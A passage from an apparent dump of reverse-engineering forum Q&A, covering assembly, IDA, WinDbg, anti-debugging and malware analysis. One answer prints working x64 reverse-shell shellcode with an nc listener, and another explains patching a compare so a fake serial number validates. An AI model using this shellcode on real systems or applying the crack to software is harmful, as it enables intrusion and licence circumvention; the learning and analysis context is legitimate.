\nWhy do I have to use the instruction like this

\n\n
mov eax, 12345678\ncall eax\n
\n\n

More importantly, what does call 12345678 exactly do?

\n", "Title": "Why does not \"call 12345678\" jump to \"12345678\" address?", "Tags": "|assembly|", "Answer": "

call 12345678 pushes the following instruction's return address onto the stack and then jumps to 12345678.

\n\n

It is functionally equivalent to:

\n\n
mov eax, 12345678\ncall eax\n
\n\n

(Though the code above has the side-effect of modifying eax, whereas a simple call 12345678 does not modify eax.)

\n" }, { "Id": "9466", "CreationDate": "2015-07-27T13:16:17.067", "Body": "

Consider I have got a DLL file which contains some functions and classes that I am not aware of. It might be lack of documentation, or the unwillingness of the programmer to provide the documentation after the release. I want to know, how can I study an unknown DLL file and utilize it in my projects? ( Of course the programmer gives such permission )

\n", "Title": "Use the functionality available in the unknown DLL", "Tags": "|ida|disassembly|ollydbg|reassembly|", "Answer": "

I can't post comments for now, since I'm new on this forum

\n\n

I'm not sure I fully understand your level of understanding here. Do you know some basic stuff in reversing field ?

\n\n

If so, you should load your DLL in OllyDbg (for example) then click on Debug > Call DLL export to locate the API you're interested in. \nThen it's classic reversing session.

\n\n

Otherwise, if you need more specifics, I strongly recommend you to buy \"Secrets of reverse engineering - Eldad Eilam\" book, in which there is a fully detailed example of a DLL reverse session.

\n" }, { "Id": "9473", "CreationDate": "2015-07-28T06:23:59.030", "Body": "

I need assistance in ida pro regarding sp analysis failure.\nThe link to the dissembled function is here:\nhttp://pastebin.com/XRwzswgS\nThe program has a lot of these errors which hinders hexrays decompilation.\nThe analysis failure is shown in line 333 in pastebin. I have included the SP pointer values from ida

\n", "Title": "SP analysis failed in gfortran compiled application", "Tags": "|ida|", "Answer": "

In a line 34 you have a following code:

\n\n
.text:0046FC96 010                 mov     eax, 3AFCh\n.text:0046FC9B 010                 call    __alloca\n
\n\n

This code allocates 0x3afc bytes on stack and this allocation is not reflected in IDA stack analysis (if the assumption that _alloca function detected and defined correctly is correct, see linux alloca man page and MSDN alloca documentation for more details about this function).

\n\n

To fix this you should go to call _alloca instruction, press ALt-K and insert the needed value (probably -0x3afc in your specific case, but I'm not sure).

\n\n

This will hint IDA that there is a stack pointer change here.

\n" }, { "Id": "9477", "CreationDate": "2015-07-28T12:44:37.610", "Body": "

In Microsoft Windows, a 32bits process calc.exe has 0x0-0x80000000 (2GB) reserved as its user-space and the rest is kernel-space (2GB). So, a process has 2+2 = 4GB of virtual space. This ratio could be 3:1 also.

\n

The 2GB user space has the PEB information,the heap,the stack, the executable and other dll's which the the exe uses like kernel32.dll, user32.dll, etc.

\n\n", "Title": "Is there a tool to see kernel space mapping of a Windows exe?", "Tags": "|windows|ollydbg|windbg|winapi|", "Answer": "

Kernel mode memory is not process-specific. It is identical for all processes.

\n\n

ntoskrnl.exe is not a process in itself. It is kernel image. Microsoft decided to use same file-format (PE) for the kernel image, as they use for other executables. Kernel image is shared by all processes.

\n" }, { "Id": "9484", "CreationDate": "2015-07-28T20:18:43.530", "Body": "

I have two simple questions in IDAPro:

\n\n
    \n

  1. How can I find string references in one function only (not the whole program) ?

    2. \n

  2. How can I breakpoint on each string reference in IDAPro ? It is easy to do in OllyDbg but I don't know how to do it in IDAPro ?

    3. \n
\n", "Title": "Strings in a function", "Tags": "|ida|", "Answer": "

You'll need to learn IDAPython if you want to automate things in IDA.\nFor your specific task, here is an example:

\n\n
 # I didn't check this code, use carefully, beware of errors\n\nimport idc\nimport idaapi\nimport idautils\n\ndef set_breakpoints_on_refs(ea):\n    list_of_referencing_functions = [\"All\"]\n    print \"In setting bp ...\"\n    for ref in idautils.DataRefsTo(ea):\n        func_name = idaapi.get_func_name(ref)\n        if not func_name is None and not func_name in list_of_referencing_functions:\n            list_of_referencing_functions.append(func_name)\n    print \"refrlist done\", list_of_referencing_functions\n    width = 0\n    for r in list_of_referencing_functions:\n       if len(r) > width:\n           width = len(r)\n\n    ch = idaapi.Choose(list_of_referencing_functions, \"Choose a function\", 1 )\n    ch.width = width\n    print \"Chooser created\"\n    res = ch.choose()\n    if res > 0:\n        print \"selected ...\", \n        chosen = ch.list[res -1]\n        print chosen\n        set_at_all = False\n        if chosen == \"All\":\n            set_at_all = True\n\n        for ref in idautils.DataRefsTo(ea):\n            if set_at_all:\n                idc.AddBpt(ref)\n                continue\n            func_name = idaapi.get_func_name(ref)\n            if func_name == chosen:\n                idc.AddBpt(ref)\n\n\ndef set_breakpoints_on_refs_to_screen_ea():\n    print \"Started\"\n    set_breakpoints_on_refs(idc.ScreenEA())\n\nidaapi.add_hotkey(\"Alt-Y\", set_breakpoints_on_refs_to_screen_ea)\n
\n\n

Running this code from execute script window will register hotkey Alt-Y that will do the following:

\n\n\n" }, { "Id": "9485", "CreationDate": "2015-07-28T20:19:52.100", "Body": "

I've encountered this function, which accepts a pointer to what I believe is a custom C struct. I came to this conclusion based on subsequent access to it.

\n\n
arg_0= dword ptr  4   ;struct passed in\n\npush    ebx\npush    ebp\nmov     ebp, [esp+8+arg_0]  ; store pointer of struct in ebp\npush    esi\npush    edi\nxor     ebx, ebx\n
\n\n

and, not too far from above, I see it being populated:

\n\n
mov     [ebp+0D4h], bl\nmov     [ebp+0F4h], bl\nmov     [ebp+114h], bl\nxor     eax, eax\nmov     [ebp+0B8h], eax\nmov     [ebp+0BCh], eax\nmov     [ebp+0C0h], eax\n
\n\n

I do not know the size of the structure, but I've seen [ebp+0f14h]. Therefore, I've defined a custom IDA sturct of size 0xF14. Now I'm having trouble with applying this custom structure to this pointer. I've tried Alt+Q then selecting my own custom struct, but it is not working. The output window says Command \"DeclareStructVar\" failed

\n\n

My custom struct:

\n\n
00000000 custom_sturct   struc ; (sizeof=0xF14)\n00000000                 db ? ; undefined\n00000001                 db ? ; undefined\n00000002                 db ? ; undefined\n[...same stuff...]\n00000F11                 db ? ; undefined\n00000F12                 db ? ; undefined\n00000F13 field_F13       db ?\n00000F14 custom_sturct   ends\n00000F14\n
\n\n

I'm using IDA Pro 6.3

\n", "Title": "How to apply IDA structure to a pointer of a structure", "Tags": "|ida|struct|", "Answer": "

To set register as an offset to a structure in a sequence of assembly code, you'll need to select that sequence and then hit T. A pop up dialog called \"Structure offsets\" will appear, where you can supply the register and structure it points to, and you'll see all references IDA recognized using it.

\n\n

Lets take the following code snippet taken from calc.exe for example:

\n\n

\"Example

\n\n

After selecting the relevant code and hitting T IDA automatically identified we're setting the ECX register, suggests possible valid structures to the left and the offsets and the selected structure's values.

\n\n

\"Structure

\n\n

After assigning a valid structure, the code looks like this:

\n\n

\"code

\n\n

Please notice the following caveats/remarks:

\n\n
    \n
  1. IDA completely ignored the add ecx, 4 line and additionally did not handle the mov [ecx+eax*2], dx too well because of that. Hitting T for that specific line and suppling a non-zero offset delta will let you handle that properly, albeit manually.
    2. \n
  2. As mentioned in the comments, manually setting a register's name completely disables all IDA's representation of the register and instead displays the user supplied free text. This means any offset definitions will be hidden by any register custom name.
    3. \n
  3. If you've seen [ebp+0f14h], the structure's size is at least 0xF15 bytes, as the structure is being written to at offset 0x0F14, meaning at least 0xF15 bytes are available to it. If you've seen DWORD [ebp+0f14h] the structure is at least 0x0F18 bytes long.
    4. \n
\n\n

Those caveats are at least partially mitigated by third party tools like Autostruct

\n" }, { "Id": "9489", "CreationDate": "2015-07-29T07:53:30.593", "Body": "

I am currently a newbie to assembly. I was looking at a disassembled program and I was wondering:

\n\n

What does this do?

\n\n
arg_0 dd 5\n\ncmp [ebp+arg_0],1Eh     ; Subtract the two values - flag either 0 or 1\njnz short loc_blahblah  ; if flag is 0 then jump\n
\n\n

I know that it is comparing the two values by subtracting them and keeping the flags.

\n\n

However when I click on the cmp instruction it shows me : [ebp+arg_0]=00000005 . Is this a memory address? Or is it the new value stored within the stack?

\n\n

I tried making the cmp instruction result in a flag 0, however I can't seem to be able to do it. Could you explain this in simple terms?

\n\n

Thanks.

\n\n

P.S: If this is a little vague, I do apologies as I myself am a little confused.

\n", "Title": "Disassembly: Question regarding CMP within a stack?", "Tags": "|ida|disassembly|", "Answer": "

Your arg_0 dd 5 seems a bit confusing to me as well, since, if that was an assembler instruction, it would define a global variable, not a stack position. Stack positions aren't initialized at compile time or program start, they get used when a program calls a subroutine. So i'll assume you copied this somehow when the program was running, not from the disassembly itself.

\n\n

When a subroutine is called, the caller pushes the arguments on the stack - i'll assume a single argument here, and let's assume the value is 5. At this moment the stack looks like this:

\n\n
+----------+\n| 00000005 |\n+----------+     <--- esp\n
\n\n

Then, the caller executes the call instruction, which puts the return address onto the stack, and jumps to your subroutine. Now, the stack looks like this:

\n\n
+----------+\n| 00000005 |\n+----------+\n| ret.addr |\n+----------+     <--- esp\n
\n\n

(note the stack grows from high addresses to low addresses on x86 processors, newer entries are below older ones)

\n\n

And the called subroutine normally starts with saving the old value of ebp by pushing it to the stack, moving the stack pointer to ebp, and subtracting a small value from esp to make room for local variables.

\n\n
+----------+\n| 00000005 |\n+----------+\n| ret.addr |\n+----------+\n| old_ebp  |\n+----------+     <--- ebp\n|          |\n|  .....   |\n+----------+     <--- esp\n
\n\n

So within the subroutine, the argument is always 8 bytes \"above\" the current value of ebp, while the distance to esp varies, depending on how much space local variables need, and how stuff is pushed to the stack within the subroutine. Which is why parameters are accessed by indexing relative to ebp.

\n\n

Your cmp instruction compares that value from the stack with the number 0x1e, or 30 decimal. The processor fetches the 5 from its location on the stack, subtracts 30 from it, throws away the result (-25), and executes the jump instruction depending on whether or not the result was 0.

\n\n

To answer the first question: The 5 is not the new value within the stack, it's the value that was on the stack before the instruction, and is still on the stack as the instruction didn't change it.

\n\n

Now, if you want the cmp instruction to result in a set zero flag, you'll have to make the result of the subtraction 0 - which means you need to make the result of 5-30 zero. To do this, you have two possibilities - either, change the 5 to a 30, or, change the 30 to a 5.

\n\n

The first approach - changing the 5 to a 30 - is what you use when you're debugging your own program. Assume you noticed your program doesn't work as intended, your start a debugger, run a part of the program, and notice at a certain point in your program that a variable is 5 when you'd expect it to be 30. Obviously, something went wrong up to this point. But if you want to check if the rest of the program works, you'd like to edit the variable in place - which means, change the content of the memory location to 30, then continue running the program.

\n\n

The second approach - changing the 30 to a 5 - is used when hacking programs that aren't your own. Assume a program that requires a registration number to be entered. You enter a random number - 12345678, debug the program, notice the digits are mangled somehow, and the result of this mangling is 5. The code you disassembled shows you need a 30 instead of the 5, but you don't know which combination of digits yields that 30. So what do you do? You change the cmp [ebp+arg_0],1Eh to cmp [ebp+arg_0],05h, save back that patched program, and suddenly your 12345678 will be a valid serial number.

\n\n

So to \"make the cmp instruction result in a flag 0\", you'll either have to modify the stack memory to turn the 5 into a 0x1e, or you'll have to modify the program code to turn the cmp [ebp+arg_0],1Eh into a cmp [ebp+arg_0],05h. Since you don't specify what exactly your use case is, i can't tell you which of them is what you need.

\n" }, { "Id": "9492", "CreationDate": "2015-07-29T13:39:47.953", "Body": "

I am analyzing a piece of malware that has a sequence of instructions with

\n\n
\n

prefix repne

\n
\n\n
0047094C  |.  8B0D 34935E00       |MOV ECX,DWORD PTR DS:[5E9334]\n00470952  |.  F2:                 |PREFIX REPNE:\n00470953  |.  0F2AC1              |CVTPI2PS XMM0,MM1\n00470956  |.  F2:                 |PREFIX REPNE:\n00470957  |.  0F100D 88905E00     |MOVUPS XMM1,DQWORD PTR DS:[5E9088]\n0047095E  |.  F2:                 |PREFIX REPNE:\n0047095F  |.  0F5CC8              |SUBPS XMM1,XMM0\n00470962  |.  F2:                 |PREFIX REPNE:\n00470963  |.  0F2CD1              |CVTTPS2PI MM2,XMM1\n00470966  |.  8915 5C925E00       |MOV DWORD PTR DS:[5E925C],EDX\n
\n\n

what's strange however is when Im debugging, the instructions immediately following the prefix repne are skipped (when single stepped). My instincts tell me it is just junk code but I want to make sure that something else isn't happening as I have to rewrite this particular function (there's plenty more sse instructions that are used)

\n\n

If anyone can shed some light, I'd appreciate it. Thank you

\n", "Title": "Prefix REPNE instruction", "Tags": "|disassembly|assembly|", "Answer": "

The prefixes are not junk - they are an override for the original instruction, to produce a new instruction. Your disassembler is apparently not aware of SSE2 instructions, and separates them instead. The disassembly should read like this:\n\n0047094C |. 8B0D 34935E00 |MOV ECX,DWORD PTR DS:[5E9334]\n00470952 |. F20F2AC1 |CVTSI2SD XMM0,ECX\n00470956 |. F20F100D 88905E00 |MOVSD XMM1,DQWORD PTR DS:[5E9088]\n0047095E |. F20F5CC8 |SUBSD XMM1,XMM0\n00470962 |. F20F2CD1 |CVTTSD2SI EDX,XMM1\n00470966 |. 8915 5C925E00 |MOV DWORD PTR DS:[5E925C],EDX

\n" }, { "Id": "9504", "CreationDate": "2015-07-30T18:50:44.290", "Body": "

Debugging an application's use of msvcrt!_read. Found a nifty Windbg script online Reversing on Windows: intercepting ReadFile that I lightly edited:

\n\n
$$ Windbg script to intercept when a file is being read.\nbp msvcrt!_read\n.while(1)\n{\n  g\n  $$ Get parameters of _read()\n  r $t0 = dwo(esp+4)\n  r $t1 = dwo(esp+8)\n  r $t2 = dwo(esp+0x0c)\n\n  $$ Execute until return is reached\n  pt\n\n  $$ Read magic value in the buffer\n  $$ CHANGE position in buffer here\n  r $t5 = dwo(@$t1+0x00)\n  r\n  .printf \"hFile=%p buffer=%p count=%p\\n\", @$t0, @$t1, @$t2\n\n  $$ Check if magic value matches\n  $$ CHANGE constant here\n  db @$t1 $$ had to put this here b/c .if never executed 'clause'\n  .if(@$t5 == 0x00000000) $$magic string\n  {\n    db @$t1\n\n    $$ UNCOMMENT below to break in the debugger\n    .break\n  }\n}\n\n$$ Clear BP for ReadFile (assume it is the 0th one)\nbc 0\n
\n\n

I tried using the following 'magic string' of bytes:

\n\n
77 30 30 66\n
\n\n

in:

\n\n
.if(@$t5 == 0x77303066) $$magic string\n
\n\n

However, it never meets that condition. Most frustrating part is that I see the magic string when the script runs the 'db@$t1'

\n\n
eax=00000400 ebx=02895cc4 ecx=75b7c2d6 edx=771f70f4 esi=017d0ab8 edi=028b2534\neip=75b7c2d6 esp=03d2fbec ebp=00000003 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\nmsvcrt!_read+0xd1:\n75b7c2d6 c3              ret\nhFile=00000003 lpBuffer=05f30020 nNumberOfBytesToRead=00000400\n05f30020  77 30 30 66 00 00 00 2e-00 00 00 00 00 00 00 00  w00f............\n05f30030  00 2e 2e 2e 2e 2e 00 00-00 2e 00 00 00 2e 2e 00  ................\n05f30040  00 2e 2e 00 00 00 04 00-00 00 2e 2e 00 00 2e 2e  ................\n05f30050  00 00 2e 2e 00 00 00 00-00 00 00 00 00 00 01 2e  ................\n05f30060  00 2e 00 2e 2e 2e 2e 2e-00 00 00 2e 00 00 00 2e  ................\n
\n\n

I've also tried changing the magic string in the wds script to little endian, still doesnt work though.

\n\n

How may I format the if statement to trigger in the above script using the magic string 'w00f?'

\n", "Title": "Windbg Scripting Issue", "Tags": "|windows|windbg|", "Answer": "

The first four bytes of the file (77 30 30 66) will be read into @$t5 in little-endian format.

\n\n

So .if(@$t5 == 0x77303066) should be .if(@$t5 == 0x66303077).

\n" }, { "Id": "9506", "CreationDate": "2015-07-30T19:15:51.533", "Body": "

I'm working on exploiting a simple 64 bit linux binary. I got control of RIP by exploiting a buffer overflow and using a jmp rsp to get control of the progrm.

\n\n

However, I'm having trouble with the shellcode piece. I'm not savvy enough to write my own, so I've been using some I found online. The shellcode needs to get me a reverse shell on port 4444.

\n\n

Just for testing though, I tried some basic shellcode.

\n\n

Works - http://shell-storm.org/shellcode/files/shellcode-806.php

\n\n

Doesn't work - https://www.exploit-db.com/exploits/35587/

\n\n

The shellcode in the first link works. The one in the second did not.

\n\n

I stepped through the program and each instruction lines up. However, after the last syscall, the program continues to execute the stack instead of exiting the thread.

\n\n

I could really use help on it, I've been stuck on it all day.

\n", "Title": "One shellcode works, one doesn't - an issue with exploiting a 64 bit linux binary", "Tags": "|linux|exploit|x86-64|shellcode|", "Answer": "

I've tested these two shellcodes and they both work.

\n\n

I think that you're missing the point of the second one. It's said :

\n\n
\n

NOTE: This C code connects to 127.0.0.1:4444

\n
\n\n

Meaning it's trying to connect to port 4444 on localhost (127.0.0.1). If nobody is listening on that port, then it won't connect and just trying to execute whatever is after you syscall.

\n\n

Try to execute it again, but this time you need to lauch some process waiting for a connection on port 4444 before executing your shellcode, say netcat

\n\n
$ nc -lp 4444 -vv \nlistening on [any] 4444 ...\n
\n\n

And then, when you execute your shellcode

\n\n
./execshellcode64 \"\\x31\\xf6\\xf7\\xe6\\xff\\xc6\\x6a\\x02\\x5f\\x04\\x29\\x0f\\x05\\x50\\x5f\\x52\\x52\\xc7\\x44\\x24\\x04\\x7d\\xff\\xfe\\xfe\\x81\\x44\\x24\\x04\\x02\\x01\\x01\\x02\\x66\\xc7\\x44\\x24\\x02\\x11\\x5c\\xc6\\x04\\x24\\x02\\x54\\x5e\\x6a\\x10\\x5a\\x6a\\x2a\\x58\\x0f\\x05\\x6a\\x03\\x5e\\xff\\xce\\xb0\\x21\\x0f\\x05\\x75\\xf8\\x56\\x5a\\x56\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x57\\x54\\x5f\\xb0\\x3b\\x0f\\x05\"\n
\n\n

nectat warns you (because of -vv meaning verbose) that there was a connection on that port

\n\n
 $ nc -lp 4444 -vv\nlistening on [any] 4444 ...\nconnect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 40234\n
\n\n

That's the connection initiated by your shellcode.

\n\n

Hope this helps !

\n\n

Note : execshellcode64 is just a personnal program I made for testing purpose. It's not actually a real command.

\n" }, { "Id": "9509", "CreationDate": "2015-07-31T07:16:54.467", "Body": "

I disassemble some code using IDA Pro and get the pseudo-code. It showed something like below.

\n\n
for ( i = 0; i < 6; ++i )\n{\n  v7 = (int)&val_253;                         \n  for ( k = 1; k < key[i]; ++k )\n    v7 = *(_DWORD *)(v7 + 8);\n  v4[i] = v7;\n}\n
\n\n

I can't understand what is happening in v7 = *(_DWORD *)(v7 + 8); line. After executing this line the value of v7 changes from 0xC. I can't understand how it happens. I thought the value should change from 0x8.

\n\n

And I thought *(_DWORD *) should return a value. But instead, it returns another pointer. How is that happened (The both values of the memory, 0xc away from &val_253 and 0x8 away from &val_253 are zero).

\n", "Title": "What is the meaning of *(_DWORD *)", "Tags": "|ida|decompilation|", "Answer": "
v7 = *(_DWORD *)(v7 + 8);\n
\n\n

Means :

\n\n
v7 = *(v7 + 8)\n
\n\n

Or in assembly

\n\n
MOV v7, DWORD PTR [v7 + 0x8]\n
\n\n

(This is only for understanding purpose, chances are that it's not really like above samples)

\n\n

v7 is assigned with the value located at address v7+8*sizeof(DWORD). For example, if v7 = 0xabcd0123 then v7 + 8*sizeof(DWORD) = 0xabcd0143. Whatever is located at 0xabcd0143 will be assigned to v7.

\n" }, { "Id": "9515", "CreationDate": "2015-07-31T17:31:24.160", "Body": "

While I'm doing a patching using IDA, I accidentally patch wrong bites and I can't remember what bytes were there before. Is there a way to undo it..?

\n", "Title": "Undo patch in IDA", "Tags": "|ida|disassembly|", "Answer": "

An alternative solution, for older IDA versions:
\nUse File>Produce file>Create DIF file... to dump all the changes.
\nFile format is Offset: Old New for every patched byte in file.
\nFind the bytes you want to change back, and do it manually.
\nJust remember that offsets are from file start, they are not memory addresses.

\n" }, { "Id": "9523", "CreationDate": "2015-08-01T06:06:52.447", "Body": "

I am currently trying to analyse a particular document that was flagged as malware in our honey pot.

\n\n

In virus total is shows up as being a Trojan and I have reason to believe it might be connected to

\n\n

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/ms14_017_rtf.rb

\n\n

I am searching Google and seeing very little information on how I can go about diagnosing and reversing this. I want to see where it might be trying to connect back and what this is actually doing.

\n\n

How can I go about reverse engineering malware embedded in a Windows rtf and see what this is designed to do ?

\n\n

I can provide the malware if anyone wants.

\n", "Title": "Reverse engineer malware embedded in Microsoft rtf", "Tags": "|malware|", "Answer": "

Analysis often isn't worth it, unless your interest is academic don't spend too much time in analysing it. AV companies tend to use sandboxes and just monitor behaviour, that might be enough for you. Run the malware along with wireshark to see where it connects out to and block the C&C server IP address (as well as the domain the email was from and delete the message from all inboxes).

\n\n

K, since that didn't answer your question, there seems to be a lot of research on the topic. A quick google for \"extract rtf payload\" gives a number of articles as well as some scripts to do it. Throw this in olly or ida and let the tracing begin.

\n\n

O, and I hope your patching level was up to date :)

\n" }, { "Id": "9525", "CreationDate": "2015-08-01T12:17:20.077", "Body": "

I'm currently learning assembly, but I cannot seem to understand how storing values into registers and manipulating them results in a working program.

\n\n

I was wondering if you guys could provide a very easy to understand explanation on why certain things are being done within the assembly code.

\n\n

Take for example the Hello World program in assembly code:

\n\n
section     .text\nglobal      _start                              ;must be declared for linker (ld)\n\n_start:                                         ;tell linker entry point\n
\n\n
    \n

  1. Why does the message length need to be put into the EDX register? And why is the EDX register chosen rather than a DX register or EAX register?

    \n\n
    mov     edx,len                             ;message length\nmov     ecx,msg                             ;message to write\n
    2. \n

  2. I also do not understand why we are moving 1 into the EBX register? And for that matter moving 4 into the EAX register?

    \n\n
    mov     ebx,1                               ;file descriptor (stdout)\nmov     eax,4                               ;system call number (sys_write)\nint     0x80                                ;call kernel\n
    \n\n

    Why are we moving 1 into EAX? What is so significant about EAX compared to the other registers? And what happened to the 4 stored in EAX previously?

    \n\n
    mov     eax,1                               ;system call number (sys_exit)\nint     0x80                                ;call kernel\n\nsection     .data\nmsg     db  'Hello, world!',0xa                 ;string\nlen     equ $ - msg                             ;length of string\n
    3. \n

  3. How does data in the individual register interact with each other? How do they know that data is stored within them?

    4. \n
\n\n

TL DR: How is it all merged to present Helloworld onto the screen?

\n", "Title": "How does storing values in registers result in a functioning program?", "Tags": "|assembly|x86|linux|", "Answer": "

int 80 is used to perform system calls

\n\n

Each system call has an index

\n\n

The index is always passed in eax register

\n\n

The function calls may need arguments

\n\n

The first five arguments are passed via ebx,ecx,edx,esi,edi registers

\n\n

If there are more than five arguments a special method is employed using an array pointer

\n\n

prototype of sys_write is as follows

\n\n

ssize_t sys_write(unsigned int fd, const char * buf, size_t count)

\n\n

index of sys_write = 4

\n\n

so

\n\n
eax = index == 4,    \nebx = fd    == 1,stdout    \necx = char* == msg   \nedx = count == len   \n
\n\n

same goes to sys_exit

\n\n

take a look at the links below for a concise syscall index ,arguments ,prototypes , and source details

\n\n

http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html#note117\nhttp://asm.sourceforge.net/syscall.html#4

\n" }, { "Id": "9530", "CreationDate": "2015-08-01T16:48:38.323", "Body": "

I am trying to catch anti debugging routines, and I don't quite understand what INT3 does, and I have read that it can be used to detect debuggers and mask calls. The program eventually sends me into a nonsensical loop if I am stepping, and if I am running, it will notify me that a debugger has been found.

\n\n
77BE0000   8B4424 04        MOV EAX,DWORD PTR SS:[ESP+4]\n77BE0004   CC               INT3\n77BE0005   C2 0400          RETN 4\n77BE0008 > CC               INT3\n77BE0009   90               NOP\n77BE000A   C3               RETN\n77BE000B   90               NOP\n77BE000C > CC               INT3\n77BE000D   C3               RETN\n
\n\n

I think INT3 might be something going on here. Since my intel instruction set reference (http://faydoc.tripod.com/cpu/index_i.htm) says this has something to do with a debugger interrupt. I also read something about how these can be used to mask debugger detection from reverse engineers.

\n\n

Am I barking up the wrong tree or is there something in this line of code questionable?

\n", "Title": "Detection of OllyDbg - INT3?", "Tags": "|disassembly|anti-debugging|", "Answer": "

This technique uses the fact that when the interrupt instructions INT3 (breakpoint) and INT1 \n(single-step) are stepped thru inside a debugger, by default, the exception handler will not be \ninvoked since debuggers typically handle the exceptions generated by these interrupts. Thus, \na packer can set flags inside the exception handler, and if these flags are not set after the INT \ninstruction, it means that the process is being debugged. Additionally, kernel32!DebugBreak() \ninternally invokes an INT3 and some packers use the said API instead.

\n\n

Reference

\n" }, { "Id": "9533", "CreationDate": "2015-08-02T15:48:44.190", "Body": "

Is it any way to connect VirtualKD 2.8 to VBox > 4.3.

\n\n

I googled it but the nearest result was VBOX_WITH_VIRTUALKD config flag and some change logs about stub/loader.

\n\n
\n\n

OK, because of lack of information in my question, I try to explain my problem...

\n\n

I start installing the VirtualKD from Ref I using VKD 2.8. exactly in step 2 it said

\n\n
\n

Unable to cast COM object of type 'VirtualBox.VirtualBoxClass' ...

\n
\n\n

So I start googleing and i found a great article Ref II. I compiled the C# code and ran it in the VirtualKD-2.8 directory. the first problem is gone but the virtual box said:

\n\n
\n

Unable to load R3 \"C:\\VirtualKD-2.8\\VBoxKD64.dll\": Not signed ... (VERR_LDRVI_NOT_SIGNED)

\n
\n\n

Again I start googleing... the problem is for VBox > 3.1, it force signed dll loading in windows. so I signed the DLL by a self generated sign ( and of curse I added it to my trust list ). now the virtualbox braks with

\n\n
\n

Unable to load R3 module \"C:\\VirtualKD-2.8\\VBoxKD64.dll\" None of 1 path(s) hav a trust anchor.: ... (VERR_CR_X509_CPV_NO_TRUSTED_PATHS).

\n
\n\n

so I used a globally trusted sign to do the job but I got a FATAL error from vbox...

\n", "Title": "VirtualKD + VBox > 4.3", "Tags": "|debugging|kernel-mode|", "Answer": "

As I think, someone else might have this problem, I have to answer my own question...

\n\n

First. please read the question carefully ( it is long but worst it ).\nThen...

\n\n

As Virtual Box only accepts signed DLLs so you have to sign the \nVBoxKD64.dll and/or VBoxKD.dll. it is not easy to find a trust sign so avast guys make a pre-signed virtual-kd available for download here

\n\n

Now we have another problem. Virtual Box will not load DLLs that are not owned by NT SERVICE\\TrustedInstaller so we have to add Virtual-KD directory to it's kingdom. ( read this if you have no ida about what I say )

\n\n

Also it is a good description in the avast package named Install.txt.

\n" }, { "Id": "9535", "CreationDate": "2015-08-02T19:50:50.823", "Body": "

I want to look at directx calls with ollydbg, and log and decode all parameters. Somebody knows how to do that?

\n", "Title": "Logging COM calls with OllyDBG", "Tags": "|com|", "Answer": "

Unless you absolutely need to use OllyDbg for this, you really should use something like http://www.rohitab.com/apimonitor which has DirectX call logging and decoding built-in:

\n\n

\"Screenshot1\"\n\"Screenshot2\"

\n\n

And if you seriously do need to use OllyDbg for this, you should explain why.

\n" }, { "Id": "9538", "CreationDate": "2015-08-03T16:34:30.267", "Body": "

I have a little endian 32-bit ARM binary, compiled for a CPU that's running embedded Linux. I want to figure out what a specific byte in the binary means. An example hex view of the first few bytes of my binary is:

\n\n
 03 00 00 00 82 2C 00 00  50 01 00 00 C0 01 00 00\n 1A 00 00 00 2B 00 00 00  80 00 00 00 00 00 00 00\n 24 26 00 00 08 00 00 00  04 10 00 00 30 29 00 00\n FC FF 07 00 00 00 00 00  F7 27 13 00 FF 03 00 00\n 01 00 00 00 74 2C 00 00  00 00 00 00 00 00 00 00\n
\n\n

I am interested in finding the purpose of the byte with value 0x13 in line 4. The particular number seems to increase as the size of the binary increases, but I can't seem to find the exact correlation between file size and this number. I have tried the usual suspects (number of blocks, file size in e.g. KB etc.) but nothing gives an exact match with the number I observe in that byte offset.

\n\n

Disassembling the binary in IDA renders the following assembly code for that portion:

\n\n
ROM:00000000                 AREA ROM, CODE, READWRITE, ALIGN=0\nROM:00000000                 CODE32\nROM:00000000                 DCD 3, 0x2C82, 0x150, 0x1C0, 0x1A, 0x2B, 0x80, 0\nROM:00000020                 DCD off_2624\nROM:00000024                 DCD 8, 0x1004, 0x2930, 0x7FFFC, 0\nROM:00000038                 DCD 0x1327F7, 0x3FF, 1, 0x2C74, 0, 0\n
\n\n

where the number of interest appears in the last line as DCD 0x1327F7. That number doesn't appear anywhere else in the code, neither that address is referenced anywhere in the rest of the code. The neighboring bytes (here 0x27F7) change in a seemingly \"random\" way (it is likely possible that I just haven't figured out their purpose yet). Regardless I am only interested in the 0x13 field.

\n\n

Is there a convention for the contents of the first bytes of an ARM binary? Any ideas as to the purpose of that byte or if there actually exists a correlation to the file's size?

\n\n

P.S. For differential analysis purposes I'm adding another file's initial bytes. Here the number I am interested in is 0x03 in line 4. The offset of interest is always the same. The first file was 11928 bytes whereas this one is 2850 bytes.

\n\n
0300 0000 9608 0000 5001 0000 0701 0000\n0a00 0000 1300 0000 8000 0000 0000 0000\n6404 0000 0800 0000 0410 0000 9006 0000\nfcff 0700 0000 0000 087d 0300 ff03 0000\n0100 0000 8808 0000 0000 0000 0000 0000\n
\n", "Title": "Specific byte purpose in header of little endian ARM binary", "Tags": "|ida|binary-analysis|arm|", "Answer": "

As per the comments above, you would need to reverse engineer your ladder logic program to determine how it's parsing and updating this binary file.

\n" }, { "Id": "9544", "CreationDate": "2015-08-03T19:58:31.177", "Body": "

I'm busy trying to decrypt some game data. All the encrypted filenames are hexadecimal strings with the same length e.g. 1790C6E445C7E38EFCD5B3042F9B4443.

\n\n

I've figured out that a few of the files are unencrypted OGG files, and I've used the strings command to find a list of the .ogg strings contained within the game binary.

\n\n

Now I'm wondering, is there any way to find out how the file name was created, given the original?

\n\n

And would it be possible to recreate the directory structure somehow (right now it's all flat, but according to the strings I've found, there should be directories).

\n", "Title": "Getting Encryption Method When I Know Encrypted File Name & Original File Name", "Tags": "|decompilation|decryption|hex|xor|", "Answer": "

This looks like it could be some hash over the original filename, and because they have 32 characters in length, it's likely to be a md5 hash. Or, it might be one of the sha* variants, cut after 32 characters.

\n\n

If you have access to a linux system, you could try something like

\n\n
$ echo -n 'introduction.ogg' | md5sum\ndc8f2a080281b924622580a8d662874c\n
\n\n

and if that doesn't match, try sha1sum, sha224sum, sha256sum, sha384sum, sha512sum instead. These all result in longer results, so your filename might be at the start, the end, or somewhere in the middle of the result.

\n\n

Or, just paste your file name into this online tool which has those and many more algorithms.

\n\n

